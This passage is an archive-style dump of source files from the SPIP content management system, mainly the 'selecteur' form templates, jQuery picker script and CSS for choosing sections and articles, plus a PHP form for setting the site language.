id="supprimer_#ENV{quoi,logo_on}_#ENV{objet}_#ENV{id_objet}" name="supprimer_#ENV{quoi,logo_on}" value='<:lien_supprimer|ucfirst|attribut_html:>' /> ] </div>selecteur/ajax.html000060400000004336152526232120010352 0ustar00#SET{bouton_modif,#ENV{select,''}|?{bouton_modifier,bouton_ajouter}|_T} [(#REM) Afficher un bouton ajax Modifier a la premiere fois ] [(#ENV{picker,''}|non) <div class='picker_bouton'><a href='[(#SELF|parametre_url{picker,1})]' class="ajax nohistory">#GET{bouton_modif}</a></div> ] [(#REM) Afficher un bouton Fermer/Modifier ensuite ] [(#ENV{picker,''}|oui) <div class="picker_bouton"> <a class="close" href="[(#SELF|parametre_url{picker,0})]" onclick="jQuery(this).parent().picker_toggle();return false;" ><:bouton_fermer:></a><a class="edit" href="[(#SELF|parametre_url{picker,1})]" onclick="jQuery(this).parent().picker_toggle();return false;" style="display:none;">#GET{bouton_modif}</a> </div> [(#REM) et enfin le navigateur (et l'ajout rapide) ------] <div class="browser"> <div class="choix_rapide"> <label for="picker_rapide_#ENV{name}"><:label_ajout_id_rapide:></label> <input type="text" value="" id="picker_rapide_#ENV{name}" size="10" /> <a id="bouton_picker_rapide_#ENV{name}" href="#">#GET{bouton_modif}</a> <script type="text/javascript" language="javascript" charset="utf-8"> jQuery(function(){ jQuery('#bouton_picker_rapide_#ENV{name}').click(function(){ jQuery.ajax({ dataType: 'json', url: '[(#URL_PAGE{ajax_selecteur})]', data: { objets:[(#ENV{objets/selectionner}|json_encode|sinon{\[\]}),] ref: jQuery('#picker_rapide_#ENV{name}').val() }, success: function(r, statut, xhr){ if (r){ jQuery('#picker_rapide_#ENV{name}').item_pick(r.id,'#ENV{name,id_item}',r.titre,r.type); } jQuery('#picker_rapide_#ENV{name}').val(''); } }); return false; }); // Ne pas valider le formulaire si on appuie sur Entrée. jQuery('#picker_rapide_#ENV{name}').keypress(function(e){ if (e.which == 13) { jQuery('a#bouton_picker_rapide_#ENV{name}').trigger("click"); return false; } }); }); </script> </div> [(#ENV{objet}|=={racine}|ou{#ENV{id_objet}|=={0}}|oui) #SET{skel, racine} ] [(#ENV{objet}|=={racine}|ou{#ENV{id_objet}|=={0}}|non) [(#SET{skel, [(#ENV{objet}|table_objet)]})] ] <div class="navigateur"> <INCLURE{fond=formulaires/selecteur/hierarchie-#GET{skel}, env}> </div> </div> ] selecteur/jquery.picker.js000060400000005161152526232120011667 0ustar00/** item_picked et picker doivent seulement etre voisins <ul class='item_picked'>..</ul> ... ... <xx class='item_picker'> <div class='picker_bouton'>..</div> </xx> ... **/ ;if (window.jQuery) { jQuery(function($){ var picked = $('ul.item_picked'); if (picked.length) { picked.find('>li').removeClass('last').find('li:last').addClass('last'); } }); jQuery.fn.picker_toggle = function(){ var browser = jQuery(this).parents('.item_picker').find('.browser'); if (browser.is(':visible')){ if (jQuery.browser.msie) browser.hide(); else browser.slideUp(); jQuery('a.close',this).hide(); jQuery('a.edit',this).show(); } else { browser.show(); jQuery('a.close',this).show(); jQuery('a.edit',this).hide(); } } // stop animation du bloc cible pour faire patienter jQuery.fn.stopAnimeajax = function(end) { this.children().css('opacity', 1.0); this.find('.image_loading').html(''); return this; // don't break the chain } jQuery.fn.item_pick = function(id_item,name,title,type){ var label_supprimer = (typeof selecteur_label_supprimer != 'undefined') ? selecteur_label_supprimer : 'del'; var picker = this.parents('.item_picker'); var picked = picker.siblings('ul.item_picked'); if (!picked.length) { picker.before("<ul class='item_picked'></ul>"); picked = picker.siblings('ul.item_picked'); } var select = picked.is('.select'); var obligatoire = picked.is('.obligatoire'); if (select) picked.html(''); else jQuery('li.on',picked).removeClass('on'); var sel=jQuery('input[value="'+id_item+'"]',picked); if (sel.length==0){ picked.addClass('changing').animeajax(); // simulons de la latence pour l'oeil de l'utilisateur setTimeout(function(){ jQuery('li:last',picked).removeClass('last'); picked.append('<li class="last on '+type+'">' +'<input type="hidden" name="'+name+'[]" value="'+id_item+'"/>' + title +((select&&obligatoire)?"":" <a title='"+label_supprimer+"' href='#' onclick='jQuery(this).item_unpick();return false;'>" +"<img alt='"+label_supprimer+"' src='"+img_unpick+"' /></a>" ) +'<span class="sep">, </span></li>').removeClass('changing').stopAnimeajax(); // masquer le selecteur apres un pick picker.find('.picker_bouton').picker_toggle(); },300); } else sel.parent().addClass('on'); return this; // don't break the chain } jQuery.fn.item_unpick = function() { var picked = this.parents('ul.item_picked'); var me = this.parent(); jQuery(me).fadeOut('fast'); setTimeout(function () { me.remove(); picked.find('>li').removeClass('last').find('li:last').addClass('last'); }, 400); } }; selecteur/generique.html000060400000006416152526232120011414 0ustar00#SET{img_unpick, #CHEMIN_IMAGE{supprimer-12.png}} [(#SET{label_supprimer, <:lien_supprimer:>})] <script type='text/javascript'>var identifiant_selecteur = 'selecteur_#ENV{name}'; var img_unpick='#GET{img_unpick}'; var selecteur_label_supprimer='#GET{label_supprimer}'; jQuery.getScript('[(#CHEMIN{formulaires/selecteur/jquery.picker.js}|timestamp)]'); </script> [(#REM) afficher la selection dans un ul class item_picked @param int select 1 => le selecteur se comporte comme un select, avec un seul choix possible @param string name nom de l'input envoye @param string|array selected liste de valeurs sour la forme array("rubrique|9","article|8",...) ou "rubrique|9,article|8,..." @param int afficher_langue ] [(#REM) On commence par chercher la liste des objets disposant d'un sélecteur ] [(#SET{objets, [(#ENV{whitelist,#ARRAY}|selecteur_lister_objets{#ENV{blacklist,#ARRAY}})]})] [(#REM) S'il n'y a qu'un type d'objet affiché et sélectionnable, on ajoute une classe (on fait -1 car il y a toujours la racine dans "afficher" ] <div id="selecteur_#ENV{name}" class="selecteur[ (#GET{objets/afficher}|count|moins{1}|=={1}|et{#GET{objets/selectionner}|count|=={1}})selecteur_type_unique]"> <ul class="item_picked[ (#ENV{select,''}|?{select})][ (#ENV{obligatoire}|?{obligatoire})]"> <BOUCLE_selected(POUR){tableau #ENV{selected}|picker_selected}> [(#SET{objet, [(#VALEUR|table_valeur{objet})]})] [(#SET{id_objet, [(#VALEUR|table_valeur{id_objet})]})] [(#GET{id_objet}|=={0}|non) <li class="#GET{objet}"> <input type="hidden" name="[(#ENV{name,id_item})][(#VAL{91}|chr)][(#VAL{93}|chr)]" value="#GET{objet}|#GET{id_objet}" /> [(#ENV{afficher_langue,0}|oui)[[(#INFO_LANG{#GET{objet},#GET{id_objet}})]] ]#INFO_TITRE{#GET{objet},#GET{id_objet}} [(#ENV{select,''}|non|ou{#ENV{obligatoire}|non})<a href='#' onclick='jQuery(this).item_unpick();return false;' title="<:lien_supprimer:>"><img src='#GET{img_unpick}' alt='(<:lien_supprimer:>)' /></a>]<span class="sep">, </span> </li> ] [(#GET{id_objet}|=={0}|oui) <li class='rubrique'> <input type="hidden" name="[(#ENV{name,id_item})][(#VAL{91}|chr)][(#VAL{93}|chr)]" value="racine|0" /> [(#ENV{label_racine,<:info_racine_site:>})] [(#ENV{select,''}|non)<a href='#' onclick='jQuery(this).item_unpick();return false;'><img src='[(#GET{img_unpick})]' alt='(<:lien_supprimer:>)' /></a>]<span class="sep">, </span> </li> ] </BOUCLE_selected> </ul> #SET{objet, #ENV{objet,racine}} #SET{id_objet, #ENV{id_objet,0}} [(#REM) Si l'objet passé ne fait pas parti des objets adéquats, ou si c'est la racine alors on regarde si on doit forcer la racine sur autre chose, et sinon on retombe sur la racine classique ] [(#GET{objet}|table_objet|in_array{#GET{objets/afficher}}|non) #SET{objet, #ENV{forcer_racine_objet,racine}} #SET{id_objet, #ENV{forcer_racine_id_objet,0}} ] [(#REM) le container item_picker est ici pour etre voisin de item_picked ------] <div class='item_picker'> <INCLURE{fond=formulaires/selecteur/ajax, objets=#GET{objets}, objet=#GET{objet}, id_objet=#GET{id_objet}, ajax, env}> </div> </div> [(#ENV{sortable,'non'}|=={oui}|oui) <script type='text/javascript'> jQuery.getScript('[(#PRODUIRE{fond=formulaires/selecteur/jquery.selecteur.js}|timestamp)]',function(){ jQuery(function() {jQuery("ul.item_picked").sortable(); }); }); </script> ] selecteur/picker-ajax.html000060400000003003152526232120011613 0ustar00#SET{bouton_modif,#ENV{select,''}|?{bouton_modifier,bouton_ajouter}|_T} [(#REM) Afficher un bouton ajax Modifier a la premiere fois ---------------------------------------- ][(#ENV{picker,''}|non) <div class='picker_bouton'>[<a href='[(#SELF|parametre_url{picker,1})]' class='ajax'>#GET{bouton_modif}</a>]</div> ] [(#REM) Afficher un bouton Fermer/Modifier ensuite ---------------------------------------- ][(#ENV{picker,''}|oui) <div class='picker_bouton'>[<a class='close' href='[(#SELF|parametre_url{picker,0})]' onclick="jQuery(this).parent().picker_toggle();return false;" ><:bouton_fermer:></a><a class='edit' href='[(#SELF|parametre_url{picker,1})]' onclick="jQuery(this).parent().picker_toggle();return false;" style='display:none;'>#GET{bouton_modif}</a>]</div> [(#REM) et enfin le navigateur ------] <div class='browser'> <div class="choix_rapide"> <label for="picker_id"><:label_ajout_id_rapide:></label> <input type="text" value="" id="picker_id" size="10" /> <a href="#" onclick="jQuery.ajax({'url':'[(#URL_PAGE{ajax_item_pick,rubriques=[(#ENV{rubriques})]&articles=[(#ENV{articles})]&ref=})]'+jQuery('#picker_id').val(), 'dataType':'text', 'success':function(r){ eval('r = '+r); // JSON envoye par ajax_item_pick.html if (r){ jQuery('#picker_id').item_pick(r.id,'#ENV{name,id_item}',r.titre,r.type); } jQuery('#picker_id').val(''); } });return false;">#GET{bouton_modif}</a> </div> <INCLURE{fond=formulaires/selecteur/navigateur}{ajax}{env}> </div> ] selecteur/hierarchie-racine.html000060400000000267152526232120012770 0ustar00<div class="chemin"> <h3 class="on">[(#ENV{label_racine,<:info_racine_site:>})]</h3> </div> <div class="liste"> #INCLURE{fond=formulaires/selecteur/lister, quoi=racine, env} </div> selecteur/hierarchie-rubriques.html000060400000001464152526232120013550 0ustar00<BOUCLE_rub(RUBRIQUES){tout}{id_rubrique=#ENV{id_objet}}{statut?}> <div class="chemin"> [(#ENV{forcer_racine_objet}|=={rubrique}|et{#ENV{forcer_racine_id_objet}|>{0}}|non)<a href="[(#SELF|parametre_url{objet,racine}|parametre_url{id_objet,0})]" class="ajax nohistory" rel="nofollow"><:info_racine_site:></a><span class="sep divider"> > </span>]<BOUCLE_chemin(HIERARCHIE){statut?}{id_rubrique!=#ID_RUBRIQUE}{!id_rubrique IN [(#ENV{forcer_racine_id_objet,0}|calcul_hierarchie_in{#EVAL{false}}|explode{','})]}><a href="[(#SELF|parametre_url{id_objet,#ID_RUBRIQUE})]" class="ajax nohistory">#TITRE</a><span class="sep divider"> > </span></BOUCLE_chemin><h3 class="on">#TITRE</h3> </div> <div class="liste"> #INCLURE{fond=formulaires/selecteur/lister, quoi=rubriques, id_rubrique, env} </div> </BOUCLE_rub> selecteur/rubriques.html000060400000002563152526232120011450 0ustar00<script type='text/javascript'>var img_unpick='#CHEMIN_IMAGE{supprimer-12.png}'; jQuery.getScript('[(#CHEMIN{formulaires/selecteur/jquery.picker.js}|timestamp)]'); </script> [(#REM) afficher la selection dans un ul class item_picked @param int select 1 => le selecteur se comporte comme un select, avec un seul choix possible @param string name nom de l'input envoye @param string|array selected liste de valeurs sour la forme array("rubrique|9","article|8",...) ou "rubrique|9,article|8,..." @param int id_rubrique @param int id_article @param int afficher_langue ]<ul class='item_picked[ (#ENV{select,''}|?{select})]'> <INCLURE{fond=formulaires/selecteur/inc-sel-rubriques}{name}{selected}{select}{img_unpick=#CHEMIN_IMAGE{supprimer-12.png}}{afficher_langue}> </ul> #SET{id_rubrique,#ENV{id_rubrique}} <BOUCLE_art(ARTICLES){statut?}{tout}{id_article}>#SET{id_rubrique,#ID_RUBRIQUE}</BOUCLE_art> [(#REM) le container item_picker est ici pour etre voisin de item_picked ------] <div class='item_picker'> <INCLURE{fond=formulaires/selecteur/picker-ajax}{id_rubrique=#GET{id_rubrique}}{id_article}{rubriques=1}{articles=0}{ajax}{env}> </div> [(#ENV{sortable,'non'}|=={oui}|oui) <script type='text/javascript'> jQuery.getScript('[(#PRODUIRE{fond=formulaires/selecteur/jquery.selecteur.js}|timestamp)]',function(){ jQuery(function() {jQuery("ul.item_picked").sortable(); }); }); </script> ]selecteur/jquery.selecteur.js.html000060400000000360152526232120013344 0ustar00#HTTP_HEADER{Content-Type: text/js;} [(#REM)<script>] if (!jQuery.fn.sortable){ #INCLURE{prive/javascript/ui/core.js} #INCLURE{prive/javascript/ui/widget.js} #INCLURE{prive/javascript/ui/mouse.js} #INCLURE{prive/javascript/ui/sortable.js} }selecteur/lister-racine-articles.html000060400000001314152526232120013765 0ustar00#SET{p,pagination_racine_articles} <B_enfants> [<p class="pagination">(#PAGINATION{prive})</p>] <ul class="items"> <BOUCLE_enfants(ARTICLES){id_rubrique<=0}{statut?}{pagination 100 #GET{p}}{par num titre, titre}> <li class="article"> <a class="ouvrir ajax nohistory" href="[(#SELF|parametre_url{objet,article}|parametre_url{id_objet,#ID_ARTICLE})]" >#TITRE</a>[(#ENV{bouton_selectionner}|oui)<a title="<:bouton_choisir:> : [(#TITRE|attribut_html|couper{80})]" class="choisir" href="#" onclick="jQuery(this).item_pick('article|#ID_ARTICLE','#ENV{name,id_item}','[(#TITRE|textebrut|texte_script)]','article');return false;" ><:bouton_choisir:></a>] </li> </BOUCLE_enfants> </ul> </B_enfants> selecteur/generique_fonctions.php000060400000000321152526232120013306 0ustar00<?php /** * Ce fichier n'est la que pour eviter une rupture de compat depuis spip 3.0 pour les plugins */ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/filtres_selecteur_generique'); selecteur/lister-rubriques-articles.html000060400000001311152526232120014542 0ustar00#SET{p,pagination_racine_articles} <B_enfants> [<p class="pagination">(#PAGINATION{prive})</p>] <ul class="items"> <BOUCLE_enfants(ARTICLES){id_rubrique}{statut?}{pagination 100 #GET{p}}{par num titre, titre}> <li class="article"> <a class="ouvrir ajax nohistory" href="[(#SELF|parametre_url{objet,article}|parametre_url{id_objet,#ID_ARTICLE})]" >#TITRE</a>[(#ENV{bouton_selectionner}|oui)<a title="<:bouton_choisir:> : [(#TITRE|attribut_html|couper{80})]" class="choisir" href="#" onclick="jQuery(this).item_pick('article|#ID_ARTICLE','#ENV{name,id_item}','[(#TITRE|textebrut|texte_script)]','article');return false;" ><:bouton_choisir:></a>] </li> </BOUCLE_enfants> </ul> </B_enfants> selecteur/articles.html000060400000002563152526232120011235 0ustar00<script type='text/javascript'>var img_unpick='#CHEMIN_IMAGE{supprimer-12.png}'; jQuery.getScript('[(#CHEMIN{formulaires/selecteur/jquery.picker.js}|timestamp)]'); </script> [(#REM) afficher la selection dans un ul class item_picked @param int select 1 => le selecteur se comporte comme un select, avec un seul choix possible @param int rubriques 1 = permettre aussi la selection des rubriques @param string name nom de l'input envoye @param string|array selected liste de valeurs sour la forme array("rubrique|9","article|8",...) ou "rubrique|9,article|8,..." @param int id_rubrique @param int id_article @param int afficher_langue ]<ul class='item_picked[ (#ENV{select,''}|?{select})]'> [(#ENV{rubriques,0}|oui) <INCLURE{fond=formulaires/selecteur/inc-sel-rubriques}{name}{selected}{select}{img_unpick=#CHEMIN_IMAGE{supprimer-12.png}}{afficher_langue}> ] <INCLURE{fond=formulaires/selecteur/inc-sel-articles}{name}{selected}{select}{img_unpick=#CHEMIN_IMAGE{supprimer-12.png}}{afficher_langue}> </ul> #SET{id_rubrique,#ENV{id_rubrique}} <BOUCLE_art(ARTICLES){statut?}{tout}{id_article}>#SET{id_rubrique,#ID_RUBRIQUE}</BOUCLE_art> [(#REM) le container item_picker est ici pour etre voisin de item_picked appel du selecteur en ajax ] <div class='item_picker'> <INCLURE{fond=formulaires/selecteur/picker-ajax}{id_rubrique=#GET{id_rubrique}}{id_article}{articles=1}{ajax}{env}> </div> selecteur/lister-rubriques-rubriques.html000060400000001401152526232120014755 0ustar00#SET{p,pagination_rubrique#ENV{id_rubrique}_rubriques} <B_enfants> [<p class="pagination">(#PAGINATION{prive})</p>] <ul class="items"> <BOUCLE_enfants(RUBRIQUES){id_parent=#ENV{id_rubrique}}{statut?}{id_secteur?}{pagination 100 #GET{p}}{par num titre, titre}> <li class="rubrique"> <a class="ouvrir ajax nohistory" href="[(#SELF|parametre_url{objet,rubrique}|parametre_url{id_objet,#ID_RUBRIQUE})]" >#TITRE</a>[(#ENV{bouton_selectionner}|oui)<a title="<:bouton_choisir:> : [(#TITRE|attribut_html|couper{80})]" class="choisir" href="#" onclick="jQuery(this).item_pick('rubrique|#ID_RUBRIQUE','#ENV{name,id_item}','[(#TITRE|textebrut|texte_script)]','rubrique');return false;" ><:bouton_choisir:></a>] </li> </BOUCLE_enfants> </ul> </B_enfants> selecteur/inc-sel-articles.html000060400000000663152526232120012564 0ustar00<BOUCLE_sel(ARTICLES){id_article IN #ENV{selected}|picker_selected{article}}{statut?}{tout}><li class='article'><input type="hidden" name="[(#ENV{name,id_item})][]" value="article|#ID_ARTICLE" />[(#ENV{afficher_langue,0}|oui)[[(#LANG)]] ]#TITRE[(#ENV{select,''}|non) <a href='#' onclick='jQuery(this).item_unpick();return false;'><img src='#ENV{img_unpick}' alt='' /></a>]<span class="sep">, </span></li></BOUCLE_sel> selecteur/lister.html000060400000002353152526232120010726 0ustar00[(#ENV{quoi}|in_array{#ENV{objets/selectionner}} |et{ #ENV{forcer_racine_objet}|!={#ENV{quoi}|objet_type} |ou{#ENV{forcer_racine_id_objet}|!={#ENV{id_objet}}} |ou{#ENV{racine}} } |ou{ #ENV{quoi}|=={racine}|et{#ENV{racine}|oui} } ) [(#SET{titre,[(#ENV{quoi}|=={racine}|?{[(#ENV{label_racine,<:info_racine_site:>})],#INFO_TITRE{#ENV{quoi},#ENV{id_objet}}})]})] <a href="#" class="choisir_ici" title="<:bouton_choisir:> : [(#GET{titre}|attribut_html)]" onclick="jQuery(this).item_pick('[(#ENV{quoi}|objet_type)]|#ENV{id_objet}','#ENV{name,id_item}','[(#GET{titre}|textebrut|texte_script)]','#ENV{quoi}');return false;" ><span><:bouton_choisir:></span></a> ] [(#REM) Pour chaque objet affichable, on cherche s'il peut être enfant de l'objet dans lequel on est ] <BOUCLE_objets(POUR){tableau #ENV{objets/afficher}}> [(#CHEMIN{formulaires/selecteur/lister-#ENV{quoi}-#VALEUR.html}|oui) #SET{bouton_selectionner, #VALEUR|in_array{#ENV{objets/selectionner}}|oui} [<div class="#VALEUR">[<h4 class="type_objet">(#VALEUR|table_objet_sql|lister_tables_objets_sql|table_valeur{texte_objets}|_T)</h4>] (#INCLURE{fond=formulaires/selecteur/lister-#ENV{quoi}-#VALEUR, bouton_selectionner=#GET{bouton_selectionner}, env})</div>] ] </BOUCLE_objets> selecteur/inc-nav-articles.html000060400000001271152526232120012561 0ustar00#SET{p,pa_#ID_RUBRIQUE}<B_articles> [<p class='pagination'>(#PAGINATION{prive})</p>] <div class="editer-groupe"> <BOUCLE_articles(ARTICLES){id_rubrique}{statut?}{pagination 100 #GET{p}}><li class='article[ (#EXPOSE)]'>[(#ENV{picker_article,1}|oui)<a href='#' onclick="jQuery(this).item_pick('article|#ID_ARTICLE','#ENV{name,id_item}','[(#TITRE*|attribut_html|texte_script|replace{''',#VAL{'\\'}|concat{#EVAL{chr(39)}}})]','article');return false;" ><img class='add' src='#CHEMIN_IMAGE{ajouter-16.png}' alt='ajouter' width="16" height="16" />][(#ENV{picker_article,1}|non)<a href='[(#ID_ARTICLE|generer_url_entite{article})]'>]#TITRE</a></li> </BOUCLE_articles> </div> </B_articles> selecteur/lister-racine-rubriques.html000060400000001336152526232120014204 0ustar00#SET{p,pagination_racine_rubriques} <B_enfants> [<p class="pagination">(#PAGINATION{prive})</p>] <ul class="items"> <BOUCLE_enfants(RUBRIQUES){id_parent=0}{statut?}{id_secteur?}{pagination 100 #GET{p}}{par num titre, titre}> <li class="rubrique"> <a class="ouvrir ajax nohistory" href="[(#SELF|parametre_url{objet,rubrique}|parametre_url{id_objet,#ID_RUBRIQUE})]" >#TITRE</a>[(#ENV{bouton_selectionner}|oui)<a title="<:bouton_choisir:> : [(#TITRE|attribut_html|couper{80})]" class="choisir" href="#" onclick="jQuery(this).item_pick('rubrique|#ID_RUBRIQUE','#ENV{name,id_item}','[(#TITRE|textebrut|texte_script)]','rubrique');return false;" ><:bouton_choisir:></a>] </li> </BOUCLE_enfants> </ul> </B_enfants> selecteur/inc-sel-rubriques.html000060400000001501152526232120012767 0ustar00<BOUCLE_pour(POUR){tableau #ENV{selected}|picker_selected{rubrique}}> <BOUCLE_sel(RUBRIQUES){id_rubrique=#VALEUR}{statut?}{tout}> <li class='rubrique'><input type="hidden" name="[(#ENV{name,id_item})][]" value="rubrique|#ID_RUBRIQUE" />[(#ENV{afficher_langue,0}|oui)[[(#LANG)]] ]#TITRE[(#ENV{select,''}|non) <a href='#' onclick='jQuery(this).item_unpick();return false;'><img src='#ENV{img_unpick}' alt='' /></a>]<span class="sep">, </span></li></BOUCLE_sel>[ (#VALEUR|=={0}|oui) <li class='rubrique'><input type="hidden" name="[(#ENV{name,id_item})][(#VAL{91}|chr)][(#VAL{93}|chr)]" value="rubrique|[(#VALEUR)]" /><:info_racine_site:>[(#ENV{select,''}|non) <a href='#' onclick='jQuery(this).item_unpick();return false;'><img src='[(#ENV{img_unpick})]' alt='' /></a>]<span class="sep">, </span></li> ]<//B_sel></BOUCLE_pour> selecteur/navigateur.html000060400000005461152526232120011574 0ustar00[(#REM) Navigateur du sélecteur de rubrique (ancien sélecteur) Paramètres : -* id_r int l'id_rubrique en cours; -* limite_branche int l'id_rubrique de la branche sur laquelle on force la sélection ]#SET{titre_branche,''} <BOUCLE_branche(RUBRIQUES){id_rubrique=#ENV{limite_branche}}{statut?}> [(#SET{titre_branche,[(#TITRE)]})] [(#SET{rubriques_branche,#ARRAY})]<BOUCLE_rubriques_branches(RUBRIQUES){branche}{exclus}{statut?}>#SET{rubriques_branche,#GET{rubriques_branche}|push{#ID_RUBRIQUE}}</BOUCLE_rubriques_branches> </BOUCLE_branche> <BOUCLE_rub(RUBRIQUES){id_rubrique=#ENV{id_r,#ENV{id_rubrique}}}{statut?}> <div class='chemin'> [(#ENV{limite_branche}|non)<a href='[(#SELF|parametre_url{id_r,0})]' class='ajax'><:info_racine_site:></a>] <BOUCLE_chemin(HIERARCHIE){id_rubrique}{id_rubrique != #ENV{id_r}}{statut?}>[(#ENV{limite_branche}|et{#COMPTEUR_BOUCLE|=={1}}|?{'',<span class="sep"> > </span>})]<a href='[(#SELF|parametre_url{id_r,#ID_RUBRIQUE})]' class='ajax'>#TITRE</a></BOUCLE_chemin>[(#ENV{limite_branche}|=={#ID_RUBRIQUE}|?{'',<span class="sep"> > </span>})]<strong class='on'>#TITRE</strong> </div>#SET{n,0} <B_contenu> [(#REM) afficher la racine si la profondeur le permet] [(#ENV{limite_branche}|non) [(#GRAND_TOTAL|<{#TOTAL_BOUCLE}|oui) <div class='frame[ total_(#GRAND_TOTAL|max{#TOTAL_BOUCLE|moins{1}})] frame_0'><h2>[<a(#ENV{rubriques,0}|oui) href='#' onclick="jQuery(this).item_pick('rubrique|0','#ENV{name,id_item}','<:info_racine_site|texte_script|attribut_html:>','rubrique');return false;" ><img class='add' src='#CHEMIN_IMAGE{ajouter-16.png}' alt='' /></a>]<:info_racine_site:></h2> [(#INCLURE{fond=formulaires/selecteur/inc-nav-rubriques}{id_rubrique=0}{env})]</div>]] <BOUCLE_contenu(HIERARCHIE){id_rubrique}{tout}{n-4,4}>#SET{n,0} <div class='frame[ total_(#GRAND_TOTAL|min{#TOTAL_BOUCLE|moins{1}})][ frame_(#COMPTEUR_BOUCLE|moins{#GRAND_TOTAL|plus{1}|max{#TOTAL_BOUCLE}}|plus{#TOTAL_BOUCLE})]'>[(#ID_RUBRIQUE|=={#ENV{limite_branche}}|non)<a href='[(#SELF|parametre_url{id_r,#_rub:ID_PARENT|?{#_rub:ID_PARENT,racine}})]' class='frame_close ajax'><img src='#CHEMIN_IMAGE{fermer-16}' alt='fermer' width="16" height="16" /></a>] <h2>[(#ID_RUBRIQUE|=={#ENV{limite_branche}}|?{#TITRE,<a class='ajax' href='[(#SELF|parametre_url{id_r,#ID_RUBRIQUE})]'>#TITRE</a>})]</h2> [(#INCLURE{fond=formulaires/selecteur/inc-nav-rubriques}{id_rubrique}{env})] [(#ENV{articles,0}|oui) [(#INCLURE{fond=formulaires/selecteur/inc-nav-articles}{id_rubrique}{id_article}{env})] ] </div> </BOUCLE_contenu> </BOUCLE_rub> <div class='chemin'><strong class='on'>[(#GET{titre_branche,<:info_racine_site:>})]</strong></div> <div class='frame total_0 frame_0'><h2>[(#GET{titre_branche,<:info_racine_site:>})]</h2>[(#INCLURE{fond=formulaires/selecteur/inc-nav-rubriques}{id_rubrique=#ENV{limite_branche,0}}{env})]</div> <//B_rub> selecteur/picker.css000060400000001353152526232120010524 0ustar00.item_picker .chemin {border-bottom:1px sold #eee;margin:0.5em 0 0.25em;} .item_picker .frame {border:1px solid #999;width:180px;height:400px;float:left;overflow:auto;} .item_picker .frame h2 {margin:0;padding:5px;background:#999;} .item_picker .frame ul {list-style:none;margin:0;padding:0;} .item_picker .frame ul li {list-style:none;margin:0;padding:2px;padding-left:26px;} .item_picker .frame ul li.rubrique {background:url(#CHEMIN_IMAGE{rubrique-24.png}) no-repeat top left;} .item_picker .frame ul li.article {background:url(#CHEMIN_IMAGE{article-24.png}) no-repeat top left;} .item_picker .frame ul li:hover {background-color:#999;} .browser .choix_rapide {font-size:0.9em;} .browser #picker_id {padding:0;margin:0 5px;border:1px solid;}selecteur/inc-nav-rubriques.html000060400000001615152526232120012776 0ustar00#SET{p,pr_#ID_RUBRIQUE}<B_enfants> [<p class='pagination'>(#PAGINATION)</p>] <ul class='items'> <BOUCLE_enfants(RUBRIQUES){id_parent=#ID_RUBRIQUE}{statut?}{pagination 100 #GET{p}}{par num titre, titre}><li class='rubrique'>[(#ENV{rubriques,0}|oui)<a href='#' onclick="jQuery(this).item_pick('rubrique|#ID_RUBRIQUE','#ENV{name,id_item}','[(#TITRE*|extraire_multi|attribut_html|texte_script|replace{''',#VAL{'\\'}|concat{#EVAL{chr(39)}}})]','rubrique');return false;" ><img class='add' src='#CHEMIN_IMAGE{ajouter-16.png}' alt='ajouter' width="16" height="16" /></a>#TITRE][(#ID_RUBRIQUE|test_enfants_rubrique{#ENV{articles,''}|?{#LISTE{article},''}}|?{[ <a class='ajax' href='[(#SELF|parametre_url{id_r,#ID_RUBRIQUE})]' >[#TITRE(#ENV{rubriques,0}|non)](#CHEMIN_IMAGE{fleche-droite-16.png}|balise_img{'',ouvrir})</a>],[#TITRE(#ENV{rubriques,0}|non)]})]</li> </BOUCLE_enfants> </ul> </B_enfants>selecteur/hierarchie-articles.html000060400000001467152526232120013340 0ustar00<BOUCLE_art(ARTICLES){tout}{id_article=#ENV{id_objet}}{statut?}> <div class="chemin"> [(#ENV{forcer_racine_objet}|=={rubrique}|et{#ENV{forcer_racine_id_objet}|>{0}}|non)<a href="[(#SELF|parametre_url{objet,racine}|parametre_url{id_objet,0})]" class="ajax nohistory">[(#ENV{label_racine,<:info_racine_site:>})]</a><span class="sep divider"> > </span>]<BOUCLE_chemin(HIERARCHIE){tous}{!id_rubrique IN [(#ENV{forcer_racine_id_objet,0}|calcul_hierarchie_in{#EVAL{true}}|explode{','})]}><a href="[(#SELF|parametre_url{objet,rubrique}|parametre_url{id_objet,#ID_RUBRIQUE})]" class="ajax nohistory">#TITRE</a><span class="sep divider"> > </span></BOUCLE_chemin><h3 class="on">#TITRE</h3> </div> <div class="liste"> #INCLURE{fond=formulaires/selecteur/lister, quoi=articles, id_article, env} </div> </BOUCLE_art> configurer_langue.php000060400000003746152526232120010761 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_langue_charger_dist() { $valeurs = array(); include_spip('inc/lang'); $l_site = $GLOBALS['meta']['langue_site']; $langue_site = traduire_nom_langue($l_site); $langues = explode(',', $GLOBALS['meta']['langues_proposees']); if (!in_array($l_site, $langues)) { $langues[] = $l_site; } sort($langues); $res = ''; foreach ($langues as $l) { $res .= "<option value='$l'" . ($l == $l_site ? " selected='selected'" : '') . '>' . traduire_nom_langue($l) . "</option>\n"; } $valeurs = array( '_langues' => $res, '_langue_site' => $langue_site, 'changer_langue_site' => '', ); return $valeurs; } function formulaires_configurer_langue_traiter_dist() { $res = array('editable' => true); if ($lang = _request('changer_langue_site')) { include_spip('inc/lang'); // verif que la langue demandee est licite if (changer_langue($lang)) { ecrire_meta('langue_site', $lang); // le test a defait ca: utiliser_langue_visiteur(); $res['message_ok'] = _T('config_info_enregistree'); include_spip('inc/rubriques'); calculer_langues_rubriques(); } // le test a defait ca: utiliser_langue_visiteur(); } if (!$res['message_ok']) { $res['message_erreur'] = _L('erreur'); } return $res; } editer_article.html000060400000013036152526232120010410 0ustar00<div class="formulaire_spip formulaire_editer formulaire_editer_article formulaire_editer_article-#ENV{id_article,nouveau}"> [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV**{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) <form method='post' action='#ENV{action}'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE <input type='hidden' name='id_article' value='#ENV{id_article}' /> <div class="editer-groupe"> 